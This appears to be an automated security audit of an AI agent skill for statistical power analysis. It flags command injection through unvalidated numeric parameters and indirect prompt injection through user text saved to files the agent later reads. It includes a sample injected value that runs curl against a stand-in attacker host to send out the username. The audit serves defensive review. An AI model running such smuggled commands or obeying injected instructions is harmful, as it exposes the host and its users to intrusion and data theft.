power-analysis
Warn
Audited by Gen Agent Trust Hub on Jun 23, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill uses a template for executing a local Python script that incorporates user-provided parameters directly into a shell command.
- Evidence: The
<power_cmd>binding inSKILL.mdis defined aspython3 <skill_dir>/tools/power_sim.py --design <two-sample-mean|two-proportion> --effect <e> [--sd <sd> | --baseline <p0>] --alpha <alpha> --n <n_per_group>. - Risk: If the agent fails to strictly validate that inputs for
<e>,<sd>,<alpha>, and<n_per_group>are numeric, a malicious user could provide strings containing shell metacharacters (e.g.,0.5; curl http://attacker.com/$(whoami)) to achieve arbitrary command execution on the host. - [PROMPT_INJECTION]: The skill ingests untrusted user input and incorporates it into documents that are later processed by the agent, creating a surface for indirect prompt injection.
- Ingestion points: The agent prompts the user for a
<hypothesis>and<outcome>description, which are stored inloop.run.yamlanddesign.md(as seen in the Setup and Loop sections ofSKILL.md). - Boundary markers: Absent. The instructions do not define any delimiters or provide "ignore embedded instructions" warnings for the user-supplied content used in the design documents.
- Capability inventory: The agent has the capability to write files (
design.md,ledger.tsv,loop.run.yaml) and execute shell commands via the simulation tool. - Sanitization: Absent. There is no instruction to validate, escape, or filter the user input before it is written to the file system or used in command construction.
Audit Metadata